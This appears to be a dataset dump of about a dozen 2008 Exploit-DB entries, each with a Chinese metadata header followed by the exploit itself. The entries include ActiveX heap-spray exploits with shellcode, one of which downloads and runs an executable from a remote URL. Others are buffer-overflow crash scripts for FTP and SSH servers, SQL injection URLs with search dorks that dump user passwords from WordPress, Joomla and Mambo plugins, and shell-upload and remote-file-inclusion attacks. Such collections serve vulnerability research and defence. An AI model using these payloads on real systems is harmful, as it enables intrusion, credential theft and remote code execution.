QLWD/code_shield huggingface dataset:
标题: Sejoong Namo ActiveSquare 6 - 'NamoInstaller.dll' ActiveX Buffer Overflow EDB-ID: 5045 CVE: 2008-0634 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-03 漏洞利用脚本: <!-- 
Sejoong Namo ActiveSquare6 NamoInstaller.dll BoF Exploit

Written by http://www.Plan-S.cn
Tested on Windows XP SP2(fully patched) Korean, IE6, NamoInstaller.dll version 3,0,0,1 
-->


<html>
<object classid="clsid:AF465549-1D22-4140-A273-386FA8877E0A" id="target"></OBJECT>

<SCRIPT language="JavaScript">
// HeapSpray - execute calculator 
 shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");    
 bigblock = unescape("%u9090%u9090");    
    headersize = 20;    
    slackspace = headersize+shellcode.length
    while (bigblock.length<slackspace) bigblock+=bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block = block+block+fillblock;    
 memory = new Array();
    for (i=0;i<800;i++) memory[i] = block + shellcode;

 var buffer =  unescape("%u0A0A%u0A0A");
 while (buffer.length< 2310) buffer+=unescape("%u0A0A%u0A0A");
 
 buffer += unescape("%uE0CC%u0012");
 buffer += unescape("%u0A0A%u0A0A");

// Vulnerability of method Install
 target.Install(buffer);   

</script>
</html>

# milw0rm.com [2008-02-03] URL: https://www.exploit-db.com/exploits/5045
标题: Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (PoC) EDB-ID: 5043 CVE: 2008-0624 2008-0623 类型: DOS 平台: WINDOWS 发布日期: 2008-02-02 漏洞利用脚本: <!--
Yahoo! Music Jukebox 2.2 AddImage() ActiveX 0day Remote Buffer Overlow PoC Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Product homepage: http://music.yahoo.com/jukebox/
Tested on:..
- Yahoo! Music Jukebox (2.2.2.056)
- MS IE 6

Details:..

----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=03EC1370: BF 37 90 7C 58 14 EC 03-9C FF FB 03 74 14 EC 03
EBP=03EC1390: 40 14 EC 03 8B 37 90 7C-58 14 EC 03 9C FF FB 03
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              --> N/A

Just for fun ;]
-->

<object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>

<script>

function makebuf(payload, len) {
    while(payload.length < (len * 2)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}

var target = "AddImage";
var payload = unescape("%u4141%u4141");
var len = 340

var tmp = makebuf(payload, len);
obj[target]('http://'+tmp, 1);

</script>

# milw0rm.com [2008-02-02] URL: https://www.exploit-db.com/exploits/5043
标题: Ipswitch WS_FTP Server with SSH 6.1.0.0 - Remote Buffer Overflow (PoC) EDB-ID: 5044 CVE: 2008-0590 类型: DOS 平台: WINDOWS 发布日期: 2008-02-03 漏洞利用脚本: # IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow
#
# Website:http://www.wsftp.com/products/ws_ftp_server/
#
# Version:6.1.0.0 ( last one,others might be vuln too )
#
# Bug: Remote Buffer Overflow ( CD)
#
# (8e8.a78): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00410041 edx=7c9137d8 esi=00000000 edi=00000000
# eip=00410041 esp=04b8c830 ebp=04b8c850 iopl=0         nv up ei pl zr na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 00410041 ??               ???
#
#
#Here's the PoC :



use strict;
use Net::SSH2;
my $ip="127.0.0.1";
my $port=22;
my $user="USERNAME";
my $pass="PASSWORD";
my $ssh2 = Net::SSH2->new();
my $payload ="A" x 5131;
$ssh2->connect($ip, $port) || die "could not connect";
$ssh2->auth_password($user,$pass)|| die "wrong passwd/login";
print "Poc running ...\n";
my $sftp = $ssh2->sftp
my $dir = $sftp->opendir($payload); 
print "Buffer Overflow Successfull\n";
$ssh2->disconnect();
exit;

# milw0rm.com [2008-02-03] URL: https://www.exploit-db.com/exploits/5044
标题: WordPress Plugin Wordspew - SQL Injection EDB-ID: 5039 CVE: 2008-0682 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: #########################################################################
#
# Wordpress Plugin (wordspew-rss.php) SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################

DORK 1 : allinurl: "wordspew-rss.php"

DORK 2 : allinurl: "wp-content/plugins/wordspew"

DORK 3 : allinurl: "wordspew/wordspew-rss.php"

#########################################################################
EXPLOIT :

wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users


#########################################################################
# S@BUN                      www.hackturkiye.com                          S@BUN
#########################################################################
# S@BUN                          GOOD LUCKY                                  S@BUN
#########################################################################

# milw0rm.com [2008-02-02] URL: https://www.exploit-db.com/exploits/5039
标题: The Everything Development System Pre-1.0 - SQL Injection EDB-ID: 5037 CVE: 2008-0724 2008-0675 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: Application:    The Everything Development System
Version(s):     <= Pre-1.0 (current version at time of release)
Author:         sub < sub@room641a.net >
Released:       2/1/2008

There exists a vulnerability in The Everything Development Engine that
allows a user to inject their own SQL to modify a SELECT query, leading
to information disclosure, XSS, or privilege escalation. What's more,
passwords are stored in the database as plaintext, making user accounts
very easily compromised.

In some versions of the software I have encountered, the following proof
of concept will display a corresponding username and password in the
"core" field and "reputation" field on the page,  respectively.

Proof of Concept:
http://path.to/cms/index.pl?node_id=0/**/UNION/**/SELECT/**/null,101,null,1,null,null,passwd,null,null,nick,null/**/FROM/**/user/**/WHERE/**/nick/**/!%3d/**/''/**/%23

In other, probably more recent versions, a 13-column query is required
or the UNION. What does not change, is that of all of the various
versions I've encountered, all are vulnerable to SQL injection.

The ideal fix would be to ensure that the 'node_id' request variable is
the appropriate data-type (signed int) before passing it as part of a
SQL query.

Vendor Status:
A private ticket was created on the vendors Bug Tracker page prior to
this release. However, I have decided to release this vulnerability
without a reply from the vendor as the Bug Tracker, and development
project, seemed to be 'abandonded.'

# milw0rm.com [2008-02-02] URL: https://www.exploit-db.com/exploits/5037
标题: Titan FTP Server 6.03 - 'USER/PASS' Remote Heap Overflow (PoC) EDB-ID: 5036 CVE: 2008-0702 类型: DOS 平台: WINDOWS 发布日期: 2008-02-02 漏洞利用脚本: #Titan FTP SERVER REMOTE HEAP OVERFLOW(USER/PASS)
#Impact : Critical
#
# Windbg Output:
#(bec.528): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=41414141 ebx=00000000 ecx=07e415f4 edx=00000000 esi=41414141 edi=07e415f4
#eip=004bbafa esp=06e4fb38 ebp=06e4fb5c iopl=0         nv up ei pl nz na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
#srxTitan+0xbbafa:
#004bbafa 8930             mov     [eax],esi         ds:0023:41414141=????????
#
# When reconnecting :
#
#(bec.c60): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=004bb991 ebx=00000000 ecx=41414141 edx=0129e4e8 esi=0129e4d4 edi=41414141
#eip=004bb977 esp=0714fe7c ebp=0714fe9c iopl=0         nv up ei pl zr na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
#srxTitan+0xbb977:
#004bb977 8b01             mov     eax,[ecx]         ds:0023:41414141=????????
# 
# Server crash after reconnecting. 
# 
#Here's the Poc
use Net::FTP;
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "A" x 4096;
my $pass = "A" x 22000;
print "Trying to connect to :$target...\n"; 
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";
print "Connected!\n";
$ftp->login($user, $pass); 
print "Poc Successfull\n";
$ftp->quit; 

# milw0rm.com [2008-02-02] URL: https://www.exploit-db.com/exploits/5036
标题: BookmarkX script 2007 - 'topicid' SQL Injection EDB-ID: 5040 CVE: 2008-0695 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: #########################################################################
#
# BookmarkX script(Powered by GengoliaWebStudio)SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
# DorKs 1 : "2007 BookmarkX script"
#
# DORKS 2 : Powered by GengoliaWebStudio
#
# DORK 3 : allinurl :"index.php?menu=showtopic"
#
#########################################################################
# EXPLOIT :
#
index.php?menu=showtopic&topicid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(auser,0x3a,apass),4,5,6/**/FROM/**/admin/*%20admin=1

or

index.php?menu=showtopic&topicid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(auser,0x3a,apass),4,5,6,7/**/FROM/**/admin/*%20admin=1
##########################################################################
# S@BUN                   www.hackturkiye.com                     S@BUN #########################################################################
#########################################################################
# S@BUN                    GOOD LUCKY                              S@BUN
#########################################################################

# milw0rm.com [2008-02-02] URL: https://www.exploit-db.com/exploits/5040
标题: LightBlog 9.5 - 'cp_upload_image.php' Arbitrary File Upload EDB-ID: 5033 CVE: 2008-0632 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-01 漏洞利用脚本: LightBlog 9.5 - REMOTE FILE UPLOAD VULNERABILITY
by Omni
1) Infos
---------
Date : 2008-01-30
Product : LightBlog
Version : v 9.5
Vendor : http://www.publicwarehouse.co.uk/
Vendor Status :
2008-01-31 Informed!
2008-01-31 Patch received from vendor!
2008-02-01 Published!


Description : Lightblog provides webmasters who don't have SQL databases with a fully featured blogging system. Using
text files to store data, there's no need for complicated installation procedures or a potentially pricey
hosting bill.
Dork : "Powered by LightBlog" - Powered by LightBlog
Source : omnipresent - omni - http://omni.netsons.org

E-mail : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]
Team : Playhack.net Security


2) Security Issues
-------------------


--- [ Remote File Upload Vulnerability ] ---
===============================================
A remote file upload vulnerability is present in LightBlog version 9.5.
Users without permissions are able to upload any kind of files, also .php; so the attacker can upload their own remote PHP
shell.
The file vulnerable is: cp_upload_image.php, and you can find it under the root directory of the blog uploaded. (shown
in the section PoC).


--- [ PoC ] ---
===============
http://localhost/light/cp_upload_image.php
Just look for your PHP shell, upload it (shell.php) and then use it:
http://localhost/light/images/shell.php


--- [ Patch ] ---
===============
- Edit the source code.
- use CHMOD
- Delete cp_upload_image.php
- Use the vendor patch.

Best Regards,
/Omni

# milw0rm.com [2008-02-01] URL: https://www.exploit-db.com/exploits/5033
标题: Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (1) EDB-ID: 5046 CVE: 2008-0624 2008-0623 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-03 漏洞利用脚本: <?php

 // 0x48k-ymj by ...
 // based on /5043
 // Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>


 function unescape($s){
  $res=strtoupper(bin2hex($s));
  $g = round(strlen($res)/4);
  if ($g != (strlen($res)/4))$res.="00";
  $out = "";
  for ($i=0; $i<strlen($res);$i+=4)$out.="%u".substr($res, $i+2, 2).substr($res, $i, 2);
  return $out;
 }

 echo '
  <html>
  <body>
  <object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>
  <script language="JavaScript">

   function gsc(){
    var hsta = 0x0c0c0c0c;
    var plc = unescape("%u4343%u4343"+
    "%u0feb%u335b%u66c9%u80b9%u8001%uef33"+
    "%ue243%uebfa%ue805%uffec%uffff%u8b7f"+
    "%udf4e%uefef%u64ef%ue3af%u9f64%u42f3"+
    "%u9f64%u6ee7%uef03%uefeb%u64ef%ub903"+
    "%u6187%ue1a1%u0703%uef11%uefef%uaa66"+
    "%ub9eb%u7787%u6511%u07e1%uef1f%uefef"+
    "%uaa66%ub9e7%uca87%u105f%u072d%uef0d"+
    "%uefef%uaa66%ub9e3%u0087%u0f21%u078f"+
    "%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"+
    "%u0757%uef29%uefef%uaa66%uaffb%ud76f"+
    "%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef"+
    "%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba"+
    "%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0"+
    "%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c"+
    "%u66bf%ucfaa%u1087%uefef%ubfef%uaa64"+
    "%u85fb%ub6ed%uba64%u07f7%uef8e%uefef"+
    "%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"+
    "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85"+
    "%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8"+
    "%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf"+
    "%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc"+
    "%uefef%uef85%u9a10%u64cf%ue7aa%ued85"+
    "%u64b6%uf7ba%uff07%uefef%u85ef%u6410"+
    "%uffaa%uee85%u64b6%uf7ba%uef07%uefef"+
    "%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"+
    "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10"+
    "%u64ba%u6403%ue792%ub264%ub9e3%u9c64"+
    "%u64d3%uf19b%uec97%ub91c%u9964%ueccf"+
    "%udc1c%ua626%u42ae%u2cec%udcb9%ue019"+
    "%uff51%u1dd5%ue79b%u212e%uece2%uaf1d"+
    "%u1e04%u11d4%u9ab1%ub50a%u0464%ub564"+
    "%ueccb%u8932%ue364%u64a4%uf3b5%u32ec"+
    "%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"+
    "%u1011%uba10%ua3bd%ua0a2%uefa1"+
    "'.unescape("http://site.come/load.exe").'");
    var hbs=0x400000;
    var pls=plc.length*2;
    var sss=hbs-(pls+0x38);
    var ss=unescape("%u0c0c%u0c0c");
    ss=gss(ss,sss);
    hbs=(hsta-0x400000)/hbs;
    for(i=0;i<hbs;i++)m[i]=ss+plc;
   }
   function gss(ss,sss){
    while(ss.length<sss*2)ss+=ss;
    ss=ss.substring(0,sss);
    return ss;
   }
   var m=new Array();
   gsc();
   try{
    var tmp=gss(unescape("%u0c0c%u0c0c"),340);
    obj.AddImage("http://"+tmp,1);
   }catch(e){}
  </script>
  </body>
  </html>
 ';

?>

# milw0rm.com [2008-02-03] URL: https://www.exploit-db.com/exploits/5046
标题: Joomla! Component NeoReferences 1.3.1 - 'catid' SQL Injection EDB-ID: 5034 CVE: 2008-0686 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-01 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_neoreferences)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_neoreferences"
#
########################################################################
EXPLOIT :

index.php?option=com_neoreferences&Itemid=27&catid=99887766/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*%20where%20user_id=1=1/*


#########################################################################
# S@BUN                           www.hackturkiye.com                       S@BUN
#########################################################################
# S@BUN                              GOOD LUCKY                                S@BUN
#########################################################################

added notes:
 <name>NeoReferences</name>
 <creationDate>December 2006</creationDate>
 <author>NeoJoomla</author>
 <license>Released under CREATIVE COMMONS License</license>
 <copyright>Copyright (C) 2006 Neoweb</copyright>

 <authorEmail>support@neojoomla.com</authorEmail>
 <authorUrl>www.neojoomla.com</authorUrl>
 <version>1.3.1</version>
 <description><![CDATA[NeoReferences is component which enables you to manage your current and future references by category and thanks to a system of thumbnails clear and very visual!
You can add an image for each reference which will be resized by the component, just click on it to see the complete view.<br />Developped by NeoJoomla.]]></description>

# milw0rm.com [2008-02-01] URL: https://www.exploit-db.com/exploits/5034
标题: Mambo Component 'com_akogallery' 2.5b - SQL Injection EDB-ID: 5029 CVE: 2008-0561 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-31 漏洞利用脚本: #########################################################################
#
#
#  joomla SQL Injection(com_akogallery)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_akogallery"
#
########################################################################
EXPLOIT :

index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-334455/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*

index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*

#########################################################################
# S@BUN                   www.hackturkiye.com                        S@BUN
#########################################################################
# S@BUN                         GOOD LUCKY                              S@BUN
#########################################################################

  <name>akogallery</name>
  <creationDate>21.06.2004</creationDate>
  <author>Arthur Konze</author>
  <copyright>Copyright 2003, 2004 by Arthur Konze. Distribution prohibited!</copyright>
  <authorEmail>webmaster@mamboportal.com</authorEmail>

  <authorUrl>www.mamboportal.com</authorUrl>
  <version>2.5 beta</version>
  <description>AkoGallery is a fully integrated Mambo picture gallery component.</description>

# milw0rm.com [2008-01-31] URL: https://www.exploit-db.com/exploits/5029
标题: Mambo Component Restaurant 1.0 - SQL Injection EDB-ID: 5031 CVE: 2008-0562 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-31 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_restaurant)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_restaurant"
#
########################################################################
EXPLOIT :

index.php?option=com_restaurant&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*


#########################################################################
# S@BUN                  www.hackturkiye.com                       S@BUN
#########################################################################
# S@BUN                     GOOD LUCKY                               S@BUN
#########################################################################

  <name>Restaurant</name>
  <creationDate>02-05-2005</creationDate>
  <author>1100cc</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>webmaster@1100cc.nl</authorEmail>

  <authorUrl>www.1100cc.nl</authorUrl>
  <version>1.0</version>
  <description>Restaurant is a fully integrated Mambo component.</description>

# milw0rm.com [2008-01-31] URL: https://www.exploit-db.com/exploits/5031
标题: Mindmeld 1.2.0.10 - Multiple Remote File Inclusions EDB-ID: 5026 CVE: 2008-0572 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-31 漏洞利用脚本: Summary

Mindmeld is an, "enterprise-capable knowledge-sharing system" written  
in PHP.  There are multiple remote file inclusion vulnerabilities in  
Mindmeld version 1.2.0.10 (latest version).

Details

1. Vulnerable File and Line:

Mindmeld-1.2.0.10/acweb/admin_index.php: line 51
 require_once ( $MM_GLOBALS['home']."include/utilities.inc" );

PoC:

http://server/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
2. Vulnerable file and line:

Mindmeld-1.2.0.10/include/ask.inc.php: line 34
 require_once ( $MM_GLOBALS['home'] . "interfaces  
{$MM_GLOBALS['interface']}/include/" .  
"interface_{$MM_GLOBALS['interface']}_ask.inc" );

PoC:

http://server/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=http:// 
shell_server/shell.php?php?

---
3. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/learn.inc.php: line 38
 require_once ( $MM_GLOBALS['home'] . "interfaces/ 
{$MM_GLOBALS['interface']}/include/"

PoC:

http://server/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
4. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/manage.inc.php: line 31
 require_once ( $MM_GLOBALS['home'] . "interfaces/ 
{$MM_GLOBALS['interface']}/include/"

PoC:

http://server/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
5. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/mind.inc.php: line 33
 require_once( $MM_GLOBALS['home'] . 'include/utilities.inc' );

PoC:

http://server/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
6. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/sensory.inc.php: line 70
 require_once ( $MM_GLOBALS['home'] . "include/utilities.inc" );

PoC:

http://server/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
It appears that these vulnerabilities are not vulnerable to local file  
includes.

These vulnerabilities have been disclosed to the vendor although  
development on this software has stopped.

Sources:

http://mindmeld.sourceforge.net/

Quick Fix:

In php.ini, disable the following variables: register_globals,  
allow_url_fopen, and allow_url_include.

Credit:

David Wharton

# milw0rm.com [2008-01-31] URL: https://www.exploit-db.com/exploits/5026